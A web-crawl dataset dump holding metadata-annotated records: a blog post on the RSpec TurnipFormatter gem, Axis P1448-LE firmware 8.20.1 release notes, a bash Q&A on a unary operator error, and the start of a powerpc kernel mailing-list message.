4945,
4953,
4963,
4964,
5015,
5016,
5213,
5215,
5221,
5230,
5240,
5241,
5288,
5289,
5494,
5496,
5502,
5511,
5521,
5522,
5566,
5567,
5771,
5773,
5779,
5788,
5798,
5799,
5870,
5871,
6066,
6068,
6074,
6083,
6093,
6094,
6161,
6162,
6365,
6367,
6373,
6382,
6392,
6393,
6451,
6452,
6657,
6659,
6665,
6674,
6684,
6685,
6716,
6717,
6920,
6923,
6929,
6938,
6948,
6949,
7017,
7018,
7219,
7221,
7227,
7236,
7246,
7247,
7297,
7298,
7497,
7500,
7506,
7515,
7525,
7526,
7583,
7584,
7789,
7791,
7796,
7805,
7814,
7815,
7875,
7876,
8081,
8083,
8088,
8096,
8105,
8106,
8173,
8174,
8375,
8377,
8383,
8391,
8400,
8401,
8467,
8468,
8613,
8615,
8620,
8628,
8638,
8639,
8710,
8711,
8909,
8911,
8917,
8926,
8936,
8937,
9024,
9025,
9227,
9231,
9237,
9246,
9256,
9257,
9313,
9314,
9507,
9509,
9515,
9524,
9534,
9535,
9579,
9580,
9778,
9780,
9786,
9794,
9804,
9805,
9884,
9885,
10088,
10091,
10097,
10105,
10115,
10116,
10163,
10164,
10308,
10310,
10316,
10325,
10334,
10335,
10397,
10398,
10598,
10600,
10606,
10615,
10625,
10626,
10692,
10693,
10893,
10895,
10901,
10910,
10920,
10921,
10968,
10969,
11172,
11174,
11180,
11188,
11197,
11198,
11272,
11273,
11478,
11480,
11486,
11495,
11505,
11506,
11568,
11569,
11768,
11770,
11776,
11785,
11795,
11796,
11865,
11866,
12063,
12065,
12071,
12079,
12088,
12089,
12174,
12175,
12372,
12374,
12380,
12389,
12399,
12400,
12445,
12446,
12645,
12647,
12653,
12661,
12670,
12671,
12716,
12717,
12917,
12919,
12925,
12934,
12944,
12945,
13011,
13012,
13215,
13217,
13223,
13232,
13241,
13242,
13278,
13279,
13479,
13482,
13488,
13497,
13506,
13507,
13604,
13605,
13807,
13810,
13816,
13825,
13834,
13835,
13880,
13881,
14085,
14087,
14093,
14101,
14111,
14112,
14177,
14178,
14381,
14384,
14390,
14399,
14408,
14409,
14450,
14451,
14651,
14654,
14660,
14670,
14679,
14680,
14724,
14725,
14928
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 14928,
"ccnet_original_nlines": 409,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.37090301513671875,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.024749159812927246,
"rps_doc_frac_lines_end_with_ellipsis": 0.1170731708407402,
"rps_doc_frac_no_alph_words": 0.17123745381832123,
"rps_doc_frac_unique_words": 0.3175039291381836,
"rps_doc_mean_word_length": 4.602040767669678,
"rps_doc_num_sentences": 154,
"rps_doc_symbol_to_word_ratio": 0.016722410917282104,
"rps_doc_unigram_entropy": 5.71774435043335,
"rps_doc_word_count": 2548,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.023366879671812057,
"rps_doc_frac_chars_dupe_6grams": 0.008016370236873627,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.031894929707050323,
"rps_doc_frac_chars_top_3gram": 0.014327139593660831,
"rps_doc_frac_chars_top_4gram": 0.005457960069179535,
"rps_doc_books_importance": -1224.86767578125,
"rps_doc_books_importance_length_correction": -1224.86767578125,
"rps_doc_openwebtext_importance": -723.73291015625,
"rps_doc_openwebtext_importance_length_correction": -723.73291015625,
"rps_doc_wikipedia_importance": -587.7472534179688,
"rps_doc_wikipedia_importance_length_correction": -587.7472534179688
},
"fasttext": {
"dclm": 0.09666209667921066,
"english": 0.9303200840950012,
"fineweb_edu_approx": 1.22493314743042,
"eai_general_math": 0.040796760469675064,
"eai_open_web_math": 0.21788549423217773,
"eai_web_code": 0.019659459590911865
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.462",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-2,160,100,306,817,885,000 | 読者です 読者をやめる 読者になる 読者になる
Thanks Driven Life
日々是感謝
RSpec Turnip Formatter
turnip rspec
Post in Japanese here
RSpec::Core::Formatters::TurnipFormatter
TurnipFormatter is a RSpec custom formatter for Turnip.
Installation and Usage
$ gem install turnip_formatter
Or
$ echo 'gem "turnip_formatter'" >> Gemfile
$ bundle install
And run this line.
$ bundle exec rspec -r turnip_formatter --format RSpecTurnipFormatter --out report.html
Then, create report.html
Motivation
Built-in formatter is hard to see.
e.g. turnip examples.
$ git clone git://github.com/jnicklas/turnip.git
$ cd turnip
$ bundle install --path vendor/bundle
$ buddle exec rspec examples -f html -o test.html -f documentation -o test.txt
First, Documentation Format
$ less test.txt
(skip..)
Steps for a feature
Evil
the monster has an alignment -> that alignment should be "Evil"
Neutral
the monster has an alignment -> that alignment should be "Neutral"
Red Dragons are deadly
there is a dragon -> there is a knight -> the dragon attacks the knight -> the knight is alive
there is a dragon -> the dragon breathes fire -> there is a knight -> the dragon attacks the knight -> the knight is dead
Horizon eye movement is tiring because each step connected by -> are display
In addition,
3) raises errors Incorrect expectation there is a monster -> it should die
Failure/Error: Then it should die
expected: 0
got: 1
(compared using ==)
# examples/steps/steps.rb:14:in `block in <top (required)>'
# ./lib/turnip/execute.rb:20:in `step'
# ./lib/turnip/rspec.rb:44:in `run_step'
# ./lib/turnip/rspec.rb:70:in `block (6 levels) in run'
# ./lib/turnip/rspec.rb:69:in `each'
# ./lib/turnip/rspec.rb:69:in `block (5 levels) in run'
# ./examples/errors.feature:8:in `it should die'
I can't understand easily about where scenario failed. (I can only see backtrace...)
Next, HTML Format.
$ open test.html
f:id:gongoZ:20130418195441p:plain
Code display of failed step is good. But previous problem is not resolved
Solution
$ echo 'gem "turnip_formatter"' >> Gemfile
$ bundle install
$ bundle exec rspec examples -r turnip_formatter -f RSpecTurnipFormatter -o report.html
f:id:gongoZ:20130418195458p:plain
So good!!!
f:id:gongoZ:20130418195501p:plain
Very so good!!
You can be found here demo.
Epilogue
I setting save and display this report on Jenkins.
Enter permalink of failed step on report to IRC, make good progress of code review. :+1: | {
"url": "http://gongo.hatenablog.com/entry/2013/04/18/203426",
"source_domain": "gongo.hatenablog.com",
"snapshot_id": "crawl=CC-MAIN-2017-13",
"warc_metadata": {
"Content-Length": "30439",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ERBWHJLK43ILU4WQT46TKGYIROWQBMUO",
"WARC-Concurrent-To": "<urn:uuid:f78c19db-0d34-4aef-a23b-41b4b730f760>",
"WARC-Date": "2017-03-25T17:24:26Z",
"WARC-IP-Address": "52.197.171.58",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:JXJAS2L4PH3FMFKH2I7W4O2F3RJQWHBR",
"WARC-Record-ID": "<urn:uuid:98f3f0e8-66c3-4cfb-bd60-a50b773c8f72>",
"WARC-Target-URI": "http://gongo.hatenablog.com/entry/2013/04/18/203426",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d23c7f3d-4964-42cd-98ca-bc532e1d7694>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-233-31-227.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-13\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for March 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
24,
25,
44,
45,
51,
52,
75,
76,
89,
90,
112,
113,
154,
155,
211,
212,
235,
236,
267,
268,
271,
272,
315,
332,
333,
352,
353,
441,
442,
467,
468,
479,
480,
515,
516,
538,
539,
588,
600,
638,
717,
718,
746,
747,
763,
772,
773,
793,
800,
868,
878,
949,
950,
973,
974,
1073,
1074,
1200,
1201,
1278,
1279,
1292,
1293,
1370,
1409,
1410,
1429,
1448,
1449,
1476,
1541,
1585,
1631,
1692,
1734,
1795,
1849,
1850,
1935,
1936,
1955,
1956,
1973,
1974,
2008,
2009,
2083,
2084,
2093,
2094,
2137,
2154,
2242,
2243,
2277,
2278,
2289,
2290,
2324,
2325,
2340,
2341,
2369,
2370,
2379,
2380,
2431,
2432
],
"line_end_idx": [
24,
25,
44,
45,
51,
52,
75,
76,
89,
90,
112,
113,
154,
155,
211,
212,
235,
236,
267,
268,
271,
272,
315,
332,
333,
352,
353,
441,
442,
467,
468,
479,
480,
515,
516,
538,
539,
588,
600,
638,
717,
718,
746,
747,
763,
772,
773,
793,
800,
868,
878,
949,
950,
973,
974,
1073,
1074,
1200,
1201,
1278,
1279,
1292,
1293,
1370,
1409,
1410,
1429,
1448,
1449,
1476,
1541,
1585,
1631,
1692,
1734,
1795,
1849,
1850,
1935,
1936,
1955,
1956,
1973,
1974,
2008,
2009,
2083,
2084,
2093,
2094,
2137,
2154,
2242,
2243,
2277,
2278,
2289,
2290,
2324,
2325,
2340,
2341,
2369,
2370,
2379,
2380,
2431,
2432,
2520
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2520,
"ccnet_original_nlines": 108,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.20216606557369232,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.009025270119309425,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3501805067062378,
"rps_doc_frac_unique_words": 0.5352563858032227,
"rps_doc_mean_word_length": 5.833333492279053,
"rps_doc_num_sentences": 39,
"rps_doc_symbol_to_word_ratio": 0.014440430328249931,
"rps_doc_unigram_entropy": 4.872725009918213,
"rps_doc_word_count": 312,
"rps_doc_frac_chars_dupe_10grams": 0.05494505167007446,
"rps_doc_frac_chars_dupe_5grams": 0.15054945647716522,
"rps_doc_frac_chars_dupe_6grams": 0.15054945647716522,
"rps_doc_frac_chars_dupe_7grams": 0.10439559817314148,
"rps_doc_frac_chars_dupe_8grams": 0.10439559817314148,
"rps_doc_frac_chars_dupe_9grams": 0.10439559817314148,
"rps_doc_frac_chars_top_2gram": 0.009890110231935978,
"rps_doc_frac_chars_top_3gram": 0.021978020668029785,
"rps_doc_frac_chars_top_4gram": 0.03186812996864319,
"rps_doc_books_importance": -246.39308166503906,
"rps_doc_books_importance_length_correction": -246.39308166503906,
"rps_doc_openwebtext_importance": -105.05175018310547,
"rps_doc_openwebtext_importance_length_correction": -105.05175018310547,
"rps_doc_wikipedia_importance": -86.95744323730469,
"rps_doc_wikipedia_importance_length_correction": -86.95744323730469
},
"fasttext": {
"dclm": 0.023868439719080925,
"english": 0.6476714015007019,
"fineweb_edu_approx": 1.9584596157073975,
"eai_general_math": 0.6020903587341309,
"eai_open_web_math": 0.08569014072418213,
"eai_web_code": 0.8866701126098633
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
2,989,168,981,275,044,400 | FIRMWARE RELEASE NOTE ===================== Products affected: P1448-LE Release date: 2018-05-02 Release type: Production Firmware version: 8.20.1 Preceding release: 7.35.2.3 -------------------------------------------------------------------------------- Upgrade instructions ==================== Upgrade the firmware according to the instructions given at https://www.axis.com/ca/en/support/tecnical-notes/how-to-upgrade or howtoupgrade.txt, which is included in the firmware folder. New features in 8.20.1 ================================================================================ 8.20.1:F1 The possibility to edit scripts in camera has been disabled per default in order to increase minimum cyber security level. 8.20.1:F2 Added support for polygon privacy masks. 8.20.1:F3 Changed the default audio bitrate to 32 kbps. 8.20.1:F4 Updated AXIS Video Motion Detection to version 4.2.1. 8.20.1:F5 Changed the default input audio gain from 30 dB to 45 dB. 8.20.1:F6 Updated NTP server (openntpd) to version 6.2p3. 8.20.1:F7 Added support for showing hidden resolutions via API. The parameter Properties.Image.ShowSuboptimalResolutions has been added which will, when enabled, show all of the products supported resolutions. Corrections in 8.20.1 ================================================================================ 8.20.1:C1 Corrected an issue that made it necessary for the user to refresh manually the storage configuration page in the web-interfce to be updated e.g. when a storage has been disconnected from the camera. 8.20.1:C2 Corrected an issue that caused the camera to stop streaming in rare occasions. 8.20.1:C3 Corrected an issue that made it necessary to login twice when connecting to the web-interface using Microsoft Edge. 8.20.1:C4 Corrected an issue that prevented trigger data to be inserted in every I-frame and when motion detection triggers. 8.20.1:C5 Corrected an issue when testing multiple email recipients. 8.20.1:C6 Corrected an issue where e-mail recipients could be wrongly formatted. 8.20.1:C7 Corrected an issue that prevented the user from taking image snapshots in H264 when using the Safari web browser. 8.20.1:C8 Corrected an issue that prevented the use of the whole sensor width for some aspect ratios. 8.20.1:C9 Corrected an issue that could cause synchronization to AVHS to fail. 8.20.1:C10 Corrected critical vulnerability ACV-128401. 8.20.1:C11 Corrected an issue that caused the image to be cut off in full screen mode in the live view when rotated 90 or 270 degrees. 8.20.1:C12 Corrected an issue with the AXIS event handler registration for ADP partners. 8.20.1:C13 Corrected an issue that caused the camera to become unreachable via link local address in the network when connecting client was in another subnet. Known Bugs/Limitations ================================================================================ 8.20.1:L1 When downgrading a firmware the static IP configuration is lost. Axis recommends to perform a factory reset after downgrading. 8.20.1:L2 It is not possible to rotate high resolution video streams (resulting in streams exceeding the 4096x2304 resolution) when using Firefox browser in Windows when playing H.264. 8.20.1:L3 When using an iOS device and Chrome or Safari web browser it is not possible to switch from viewer to administrator or operator. 8.20.1:L4 Corrected an issue that could cause the camera to get stuck in night mode when WDR setting changed. 8.20.1:L5 It is not possible to update the product using Genetec 5.7 SR2. Genetec will provide a patch in 5.7 SR3. Supported AXIS VAPIX API Image Resolutions for P1448-LE ================================================================================ Resolution Exceptions ========== ========== 3840x2160 3072x1728 2592x1944 2560x1920 2432x1824 2720x1536 2560x1600 2304x1728 2560x1440 2048x1536 1920x1200 1920x1080 1440x900 1280x800 1280x720 1024x768 1024x640 800x600 800x500 800x450 640x480 640x400 640x360 480x360 480x300 480x270 320x240 320x200 320x180 240x180 176x144 160x120 160x100 160x90 1400x1050 1) 768x576 1) 720x576 1) 704x576 1) 704x480 1) 704x288 1) 704x240 1) 384x288 1) 352x288 1) 352x240 1) 192x144 1) 176x120 1) 96x64 1) 80x50 1) 1) Not visible in web user interface | {
"url": "https://www.axis.com/ftp/pub_soft/MPQT/P1448-LE/8_20_1/P1448-LE_8_20_1_release_notes.txt",
"source_domain": "www.axis.com",
"snapshot_id": "crawl=CC-MAIN-2020-29",
"warc_metadata": {
"Content-Length": "5310",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:AJUZ5WPIRXVHWYB6D22TSP3ILV5O5GFT",
"WARC-Concurrent-To": "<urn:uuid:b3a0690a-0ffa-4f80-a94d-9ba48774df05>",
"WARC-Date": "2020-07-14T14:28:42Z",
"WARC-IP-Address": "199.232.65.117",
"WARC-Identified-Payload-Type": "text/plain",
"WARC-Payload-Digest": "sha1:2DDWYTGGKBE5LGTSJUGJCMU7OEMLNNOL",
"WARC-Record-ID": "<urn:uuid:7bfa60ca-2116-4e90-9bac-3f61ecbd53c8>",
"WARC-Target-URI": "https://www.axis.com/ftp/pub_soft/MPQT/P1448-LE/8_20_1/P1448-LE_8_20_1_release_notes.txt",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2568c5b3-afad-4d8a-88c4-42ac70da3de5>"
},
"warc_info": "isPartOf: CC-MAIN-2020-29\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-227.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0
],
"line_end_idx": [
4235
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4235,
"ccnet_original_nlines": 0,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2220916599035263,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.057579319924116135,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3548766076564789,
"rps_doc_frac_unique_words": 0.545945942401886,
"rps_doc_mean_word_length": 5.472072124481201,
"rps_doc_num_sentences": 102,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.218339920043945,
"rps_doc_word_count": 555,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.12413565814495087,
"rps_doc_frac_chars_dupe_6grams": 0.09779387712478638,
"rps_doc_frac_chars_dupe_7grams": 0.04741521179676056,
"rps_doc_frac_chars_dupe_8grams": 0.024366149678826332,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.04708594083786011,
"rps_doc_frac_chars_top_3gram": 0.06848864257335663,
"rps_doc_frac_chars_top_4gram": 0.06585446000099182,
"rps_doc_books_importance": -317.7112731933594,
"rps_doc_books_importance_length_correction": -317.7112731933594,
"rps_doc_openwebtext_importance": -150.9834442138672,
"rps_doc_openwebtext_importance_length_correction": -150.9834442138672,
"rps_doc_wikipedia_importance": -49.53609085083008,
"rps_doc_wikipedia_importance_length_correction": -49.53609085083008
},
"fasttext": {
"dclm": 0.11007916927337646,
"english": 0.7682202458381653,
"fineweb_edu_approx": 1.3586763143539429,
"eai_general_math": 0.029305459931492805,
"eai_open_web_math": 0.02642601914703846,
"eai_web_code": 0.34016668796539307
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
3,415,145,477,751,862,300 | ppeddi ppeddi - 3 months ago 47
Bash Question
unix unary operator error
I am trying to find a string in the input file path and replace it different file path if it matches.
Below is the code.
*
FilePath='/GAMER/WIP/Forecast'
echo $FilePath
fnd='WIP'
repl='Archive'
declare -i idx b
idx= expr index $FilePath 'Forecast'
echo $idx
if [ $idx -gt $b ]
then
arch_dir=${FilePath/$fnd/$repl}
echo $arch_dir
fi
*
echo statement properly displays the value as some number but in the if statement, I am getting unary operator error .
Can anyone please correct me where I am missing
Answer
It appears you have not defined the b variable, so when you write
if [ $idx -gt $b ]
the shell sees this after expanding the variables
if [ 12 -gt ]
Use one of these forms:
if [ "$idx" -gt "$b" ] # use quotes to maintain the operators as words
if [[ $idx -gt $b ]] # the [[ form does not require quoting
if ((idx > b)) # use arithmetic expression
The first form will still throw an error if b is unset:
$ declare -i idx=12 b
$ [ "$idx" -gt "$b" ] && echo yes
bash: [: : integer expression expected
$ [[ $idx -gt $b ]] && echo yes
yes
$ ((idx > b)) && echo yes
yes | {
"url": "https://codedump.io/share/1CmGXanIM8QN/1/unix-unary-operator-error",
"source_domain": "codedump.io",
"snapshot_id": "crawl=CC-MAIN-2017-09",
"warc_metadata": {
"Content-Length": "26194",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CGLGHDAGOY5K66SXZEV4ROQ2JI4DO5LP",
"WARC-Concurrent-To": "<urn:uuid:5f9409aa-04cb-4eb1-876f-df904c00e9b2>",
"WARC-Date": "2017-02-19T20:16:49Z",
"WARC-IP-Address": "84.22.103.185",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:SMQAVHQFSJD7IZIJTGNEWWUB6NOWIVJ2",
"WARC-Record-ID": "<urn:uuid:073f5bea-041c-4c8c-9889-42853b924074>",
"WARC-Target-URI": "https://codedump.io/share/1CmGXanIM8QN/1/unix-unary-operator-error",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:62b4001a-9cad-4020-b53c-46765b5eb66c>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-10-108.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-09\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for February 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
32,
46,
47,
73,
74,
176,
177,
196,
197,
199,
200,
231,
246,
256,
271,
288,
325,
335,
354,
359,
391,
406,
407,
410,
411,
412,
414,
415,
534,
535,
583,
584,
591,
592,
658,
659,
678,
679,
729,
730,
745,
746,
770,
771,
845,
910,
964,
965,
1021,
1022,
1044,
1078,
1117,
1149,
1153,
1179
],
"line_end_idx": [
32,
46,
47,
73,
74,
176,
177,
196,
197,
199,
200,
231,
246,
256,
271,
288,
325,
335,
354,
359,
391,
406,
407,
410,
411,
412,
414,
415,
534,
535,
583,
584,
591,
592,
658,
659,
678,
679,
729,
730,
745,
746,
770,
771,
845,
910,
964,
965,
1021,
1022,
1044,
1078,
1117,
1149,
1153,
1179,
1182
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1182,
"ccnet_original_nlines": 56,
"rps_doc_curly_bracket": 0.001692050020210445,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2857142984867096,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02090591937303543,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.32404181361198425,
"rps_doc_frac_unique_words": 0.5608465671539307,
"rps_doc_mean_word_length": 4.26455020904541,
"rps_doc_num_sentences": 4,
"rps_doc_symbol_to_word_ratio": 0.010452959686517715,
"rps_doc_unigram_entropy": 4.294212341308594,
"rps_doc_word_count": 189,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.0595533512532711,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.03722083941102028,
"rps_doc_frac_chars_top_3gram": 0.044665008783340454,
"rps_doc_frac_chars_top_4gram": 0.03970222920179367,
"rps_doc_books_importance": -146.2395782470703,
"rps_doc_books_importance_length_correction": -146.2395782470703,
"rps_doc_openwebtext_importance": -82.63726043701172,
"rps_doc_openwebtext_importance_length_correction": -82.53951263427734,
"rps_doc_wikipedia_importance": -57.26301574707031,
"rps_doc_wikipedia_importance_length_correction": -57.26301574707031
},
"fasttext": {
"dclm": 0.288615345954895,
"english": 0.591227114200592,
"fineweb_edu_approx": 1.9788888692855835,
"eai_general_math": 0.9013922214508057,
"eai_open_web_math": 0.36298614740371704,
"eai_web_code": 0.9659555554389954
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.455",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "5",
"label": "Social/Forum"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
6,071,353,057,981,626,000 | [PATCH V2 04/68] powerpc/mm: Use big endian page table for book3s 64
Anton Blanchard anton at samba.org
Mon May 30 09:08:33 AEST 2016
Hi Ben,
> That is surprising, do we have any idea what specifically increases
> the overhead so significantly ? Does gcc know about ldbrx/stdbrx ? I
> notice in our io.h for example we still do manual ld/std + swap
> because old processors didn't know these, we should fix that for
> CONFIG_POWER8 (or is it POWER7 that brought these ?).
The futex issue seems to be __get_user_pages_fast():
ld r11,0(r6)
...
